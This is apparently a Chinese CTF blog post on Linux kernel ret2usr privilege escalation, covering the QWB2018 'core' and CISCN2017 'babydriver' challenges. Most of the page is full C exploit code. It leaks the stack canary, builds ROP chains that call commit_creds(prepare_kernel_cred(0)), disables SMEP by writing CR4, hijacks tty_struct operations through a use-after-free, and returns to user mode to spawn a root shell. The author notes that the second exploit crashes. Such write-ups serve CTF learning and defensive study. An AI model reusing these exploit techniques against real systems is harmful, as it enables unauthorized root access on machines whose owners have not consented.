15 Mar 2020

Kernel ret2usr

Kernel ret2usr

继续ROP

上一篇rop执行的commit_creds(prepare_kernel_cred(0))是在内核空间

获取commit_creds和prepare_kernel_cred地址后,利用函数指针在用户空间构造一个commit_creds(prepare_kernel_cred(0))很方便,⑧用再找一坨gadget,ret2usr就是返回到用户空间的commit_creds(prepare_kernel_cred(0))

ROP链

  1. ROP执行用户空间的commit_creds(prepare_kernel_cred(0))
  2. 返回到用户态执行system(“/bin/sh”)

但是有个叫SMEP的东西,这玩意开了禁止内核执行用户空间的代码

那就直接给ret2usr🐏了🐎?

👴选择给SMEP🐏了

判断是否开启smep是根据CR4寄存器的第20位,保护开启值为1,关闭值为0

来个mov cr4, ?

就给他🐏了

强网杯2018-core

没开SMEP,不用🐏,直接打

拿到地址之后构造commit_creds(prepare_kernel_cred(0))

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

在这个函数里放个puts("[*]fucked!")是龙鸣行为,直接崩

// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40);

    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0};

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }

    rop[i++] = (size_t)get_root;            // root
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0100);
    return 0;
}

CISCN2017 babydriver

开了smep,找俩gadget🐏了

    rop[i++] = 0xffffffff810d238d;      // pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;      // mov cr4, rdi; pop rbp; ret;

函数地址白给

/ $ grep prepare_kernel_cred /proc/kallsyms
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred
/ $ grep commit_creds /proc/kallsyms
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds

利用uaf控制tty_struct结构体,大小为0x2e0,可以通过打开/dev/ptmx得到

struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	int index;
	/* Protects ldisc changes: Lock tty not pty */
	struct ld_semaphore ldisc_sem;
	struct tty_ldisc *ldisc;
	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	spinlock_t ctrl_lock;
	spinlock_t flow_lock;
	/* Termios values are protected by the termios rwsem */
	struct ktermios termios, termios_locked;
	struct termiox *termiox;	/* May be NULL for unsupported */
	char name[64];
	struct pid *pgrp;		/* Protected by ctrl lock */
	struct pid *session;
	unsigned long flags;
	int count;
	struct winsize winsize;		/* winsize_mutex */
	unsigned long stopped:1,	/* flow_lock */
		      flow_stopped:1,
		      unused:BITS_PER_LONG - 2;
	int hw_stopped;
	unsigned long ctrl_status:8,	/* ctrl_lock */
		      packet:1,
		      unused_ctrl:BITS_PER_LONG - 9;
	unsigned int receive_room;	/* Bytes free for queue */
	int flow_change;
	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;		/* protects tty_files list */
	struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
	int closing;
	unsigned char *write_buf;
	int write_cnt;
	/* If the tty has a pending do_SAK, queue it here - akpm */
	struct work_struct SAK_work;
	struct tty_port *port;
} __randomize_layout;

tty_struct中的tty_operations

struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	void (*flush_chars)(struct tty_struct *tty);
	int  (*write_room)(struct tty_struct *tty);
	int  (*chars_in_buffer)(struct tty_struct *tty);
	int  (*ioctl)(struct tty_struct *tty,
		    unsigned int cmd, unsigned long arg);
	long (*compat_ioctl)(struct tty_struct *tty,
			     unsigned int cmd, unsigned long arg);
	void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
	void (*throttle)(struct tty_struct * tty);
	void (*unthrottle)(struct tty_struct * tty);
	void (*stop)(struct tty_struct *tty);
	void (*start)(struct tty_struct *tty);
	void (*hangup)(struct tty_struct *tty);
	int (*break_ctl)(struct tty_struct *tty, int state);
	void (*flush_buffer)(struct tty_struct *tty);
	void (*set_ldisc)(struct tty_struct *tty);
	void (*wait_until_sent)(struct tty_struct *tty, int timeout);
	void (*send_xchar)(struct tty_struct *tty, char ch);
	int (*tiocmget)(struct tty_struct *tty);
	int (*tiocmset)(struct tty_struct *tty,
			unsigned int set, unsigned int clear);
	int (*resize)(struct tty_struct *tty, struct winsize *ws);
	int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
	int (*get_icount)(struct tty_struct *tty,
				struct serial_icounter_struct *icount);
	int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
	int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
	void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
	int (*poll_init)(struct tty_driver *driver, int line, char *options);
	int (*poll_get_char)(struct tty_driver *driver, int line);
	void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
	int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

tty_struct中把tty_operations劫持到fake_tty_operations,利用函数指针控制执行

执行write时,rax指向fake_tty_operations,此时利用mov rsp,rax ; dec ebx ; ret可以把栈劫持到fake_tty_operationspop rax ; retmov rsp,rax ; dec ebx ; ret配合使用可以把栈劫持到任意地址

  1. 拿函数地址,构造commit_creds(prepare_kernel_cred(0))
  2. 构造rop链,先🐏smep,再执行commit_creds(prepare_kernel_cred(0)),最后返回到用户态起shell
  3. 构造fake_tty_operations
  4. 开两个/dev/babydev,申请一次0x2e0,关一个,再开/dev/ptmxtty_struct申请过去,利用第二个控制tty_struct
  5. 先把tty_struct读出来,把tty_operations改成fake_tty_operations再写回去
  6. write,触发
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define prepare_kernel_cred_addr 0xffffffff810a1810
#define commit_creds_addr 0xffffffff810a1420

void* fake_tty_operations[30];

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}


void get_shell()
{
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}
int main()
{
    save_status();

    int i = 0;
    size_t rop[32] = {0};
    rop[i++] = 0xffffffff810d238d;      // pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;      // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff8100ce6e,      // pop rax ; ret
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81063694;      // swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;  
    rop[i++] = user_rflags; 
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    
    i = 0;
    fake_tty_operations[i++] = (size_t)rop;
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_operations[i++] = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret

    int fd1 = open("/dev/babydev", O_RDWR);
    int fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);

    int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
    size_t fake_tty_struct[4] = {0};
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_operations;
    write(fd2,fake_tty_struct, 32);

    write(fd_tty, "aaaa", 4);

    return 0;
}

但是👴跑不成

/ $ ./exp 
[*]status has been saved.
[    5.902835] device open
[    5.904514] device open
[    5.905854] alloc done
[    5.907186] device release
[    5.909912] traps: exp[89] general protection ip:410b59 sp:7ffd6e679168 erro]
[    5.915934] device release
[    5.917376] bad magic number for tty struct (5:2) in tty_release
Segmentation fault

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).